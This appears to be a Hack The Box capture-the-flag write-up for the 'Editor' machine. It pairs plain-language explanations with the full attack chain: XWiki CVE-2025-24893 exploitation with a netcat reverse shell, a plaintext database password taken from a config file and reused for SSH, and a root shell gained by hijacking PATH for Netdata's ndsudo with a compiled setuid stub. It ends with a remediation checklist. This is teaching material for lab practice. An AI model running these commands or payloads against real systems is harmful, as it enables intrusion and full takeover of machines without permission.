Editor — Combined Technical & Non-Technical Full Walkthrough

Author: walker ffx

Overview

This document combines a full technical writeup (commands, code, tools) with plain-language explanations so that both technical and non-technical readers can understand the attack chain, how it worked, and how to fix it. Sections marked **(Non-technical)** explain what each technical step means in simple terms.

Quick summary (one sentence)

An attacker exploited a vulnerability in a web application to run commands, found a reused password, used it to log in as another user, and tricked a privileged monitoring helper into running code that gave full administrative control.

Tools used (what they are) — short list

- **nmap** — network scanner to find open ports and services. (Non-technical: it checks which doors are open.)
- **curl** — makes simple web requests. (Non-technical: it checks web pages.)
- **nc (netcat)** — simple network listener / connector for shells. (Non-technical: it listens for a remote connection.)
- **git** — to download public exploit code. (Non-technical: it copies code from the internet.)
- **gcc** — C compiler to build a small helper binary. (Non-technical: it turns human text code into an executable program.)
- **ssh/scp** — remote login and file copy. (Non-technical: login and file transfer tools.)

Non-technical timeline with technical pointers

1. **Find services on the machine (Recon):** Server had a website and other services running (ports 80, 8080, 22).
2. Command: `nmap -sV -sC -Pn 10.10.11.80` — shows open ports and service versions.
3. (Non-technical): We scanned the target to see what software is running.
4. **Vulnerable web app found:** XWiki on port 8080 had a known vulnerability (RCE).
5. The vulnerability allows authenticated users to run commands on the server.

6. **Exploit to get an initial shell (user `xwiki`):** Used a public PoC to make the server connect back to our listener.

7. Steps: clone PoC repo, start `nc` listener on attacker machine, run PoC with a reverse shell command.
8. Commands shown later in the Code & Commands section.

9. (Non-technical): We used published code to make the website call back to our machine and hand us a command prompt.

10. **Find password in webapp files:** Located `hibernate.cfg.xml` which contained a DB password in plaintext.

11. File path: `/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml`

12. (Non-technical): Like finding a password on a sticky note in a desk drawer.

13. **Use password to SSH to `oliver` user:** Logged in with the discovered password and retrieved the user flag.

14. Command: `ssh oliver@editor.htb` (use the password found in the config file)

15. **Privilege escalation to root (administrator):** Found Netdata helper `ndsudo` that can be tricked into running an attacker binary as root by manipulating `PATH`.

16. Technique: Upload a small compiled C program that gives a root shell, place it in `/tmp`, add `/tmp` to `PATH`, and trigger `ndsudo` to run it as root.

17. (Non-technical): We tricked a trusted tool into running our program as the system administrator.

18. **Full system control:** With root access we can read any file and control the machine.

Full technical walkthrough (step-by-step)

> **Note:** All commands and code shown below are for authorized lab environments only (Hack The Box, CTFs, or authorized tests). Do not run them against systems you do not own or have permission to test.

1) Add host entry & reconnaissance

```
# Add a hosts entry so editor.htb resolves locally
echo "10.10.11.80 editor.htb" | sudo tee -a /etc/hosts

# Service scan (version detection + default scripts)
nmap -sV -sC -Pn 10.10.11.80
```

What it does (Non-technical): Makes your machine recognize the lab hostname and scans which services the target is running.

2) Quick web check

```
# check the web page headers or content
curl -I http://editor.htb:8080/
curl http://editor.htb:8080/ | head -n 20
```

Why: Confirm the presence of XWiki and find version strings (helps determine vulnerability).

3) Initial exploit — XWiki RCE (authenticated PoC)

Actions (attacker machine):

```
# clone public PoC repository (example)
git clone https://github.com/gunzf0x/CVE-2025-24893
cd CVE-2025-24893

# start a netcat listener waiting for the reverse shell
nc -lnvp 4444

# run the PoC to target the XWiki instance
# replace <LHOST> with your attacker's IP (e.g., 10.10.14.25)
python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c 'busybox nc <LHOST>
4444 -e /bin/bash'
```

After the target connects back, upgrade the shell to a PTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Explanation (Non-technical): We used a published exploit to make the website open a connection back to our computer and give us a shell. Upgrading to a PTY makes the shell interactive and easier to use.

4) Post-exploit enumeration (as `xwiki`)

Common enumeration commands:

```
# whoami, hostname, id
whoami; hostname; id

# explore webapp folders
ls -la /usr/lib/xwiki/WEB-INF/
# view config
cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml

# search for files containing 'password' or 'hibernate'
grep -R "hibernate" -n /usr/lib/xwiki || true
```

What to look for: configuration files containing credentials or other sensitive info.

Non-technical: We looked through the website's files and found a configuration file with a password saved inside.

5) Use discovered credentials to access `oliver`

```
# Example: try SSH with the discovered password
ssh oliver@editor.htb
# when prompted, enter: theEd1t0rTeam99
cat /home/oliver/user.txt
```

Non-technical: Use the found password to log into another account and retrieve the user flag.

6) System enumeration as `oliver` (looking for privilege escalation vectors)

```
# check sudo privileges
sudo -l

# search for SUID binaries and suspicious scripts
find / -type f -perm -4000 -user root 2>/dev/null

# search for netdata and plugin scripts
ls -la /opt/netdata/usr/libexec/netdata || true
cat /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
```

Why: Look for programs that run as root or helpers that can be abused.

Non-technical: We searched system utilities and found a monitoring helper that runs with high privileges.

7) Privilege escalation via Netdata `ndsudo`

Core idea: `ndsudo` runs helper commands as root and can be manipulated if it resolves binaries from writable paths. By placing a malicious binary in `/tmp` and forcing the system to look there first (`PATH=/tmp:$PATH`), `ndsudo` may execute that binary as root.

Create a small root shell stub (on attacker machine):

```c
// exploit.c
#include <unistd.h>
int main() {
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", NULL);
  return 0;
}
```

Compile and transfer:

```
# compile locally
gcc exploit.c -o nvme

# transfer to the target as oliver (from attacker)
scp nvme oliver@editor.htb:/tmp
ssh oliver@editor.htb

# on target as oliver
cd /tmp
chmod +x nvme

# manipulate PATH so /tmp is searched first and invoke ndsudo
export PATH=/tmp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

# if successful
whoami  # should show root
cat /root/root.txt
```

Non-technical: We compiled a tiny program that, when run by the system administrator, opens a root shell. We uploaded it to the target and tricked a trusted helper to run it, giving us administrator access.

Important cleanup note (lab etiquette): Remove `/tmp/nvme` after testing: `rm /tmp/nvme`.

8) Post root actions (what to check once root)

```
# check system info
uname -a
cat /etc/os-release

# read root flag
cat /root/root.txt

# list users and important files
cat /etc/passwd
ls -la /root
```

Non-technical: With administrative control, you can inspect the whole system and confirm success.

Full list of commands (copy-paste friendly)

For convenience, here's a compressed sequence of the exact commands used in the lab (replace `<LHOST>` with your attacker IP):

```
# local (attacker)
echo "10.10.11.80 editor.htb" | sudo tee -a /etc/hosts
nmap -sV -sC -Pn 10.10.11.80
curl -I http://editor.htb:8080/

# exploit
git clone https://github.com/gunzf0x/CVE-2025-24893
cd CVE-2025-24893
nc -lnvp 4444
python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c 'busybox nc <LHOST>
4444 -e /bin/bash'
# after connection
python3 -c 'import pty; pty.spawn("/bin/bash")'

# on target (enumeration)
cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml | grep -i password
ssh oliver@editor.htb  # use found password
cat /home/oliver/user.txt

# privilege escalation (on attacker)
# create exploit.c as shown earlier, then:
gcc exploit.c -o nvme
scp nvme oliver@editor.htb:/tmp
ssh oliver@editor.htb
cd /tmp
chmod +x nvme
export PATH=/tmp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# If successful
whoami; cat /root/root.txt
```

Why each step matters (brief non-technical recap)

- **Scanning** finds which services are online.
- **Exploit** uses a vulnerability to get a foothold.
- **Credential discovery** leverages careless secret storage to move laterally.
- **Privilege escalation** abuses a trusted helper to become the system administrator.

Remediation checklist (actionable items)

1. Patch XWiki to a fixed version (>= 15.10.11) and Jetty/OS packages.
2. Remove plaintext credentials from app files. Use an enterprise secrets manager.
3. Enforce unique passwords and rotate compromised credentials.
4. Harden Netdata: avoid privileged helper scripts or ensure they validate search paths and inputs.
5. Restrict management interfaces to trusted networks/VPNs and use strong authentication.
6. Monitor execution of binaries from writable locations (e.g., /tmp) and unexpected PATH changes.

Conclusion

This combined writeup presents the exact technical steps (commands, code, tools) used to compromise the Editor box, along with plain-language explanations so non-technical stakeholders can understand the risk and necessary fixes. The core lesson: multiple small mistakes (a vulnerable app, exposed credentials, and an unsafe privileged helper) chained together to permit full system takeover. Mitigating any of these weaknesses prevents the full chain from succeeding.

walker ffx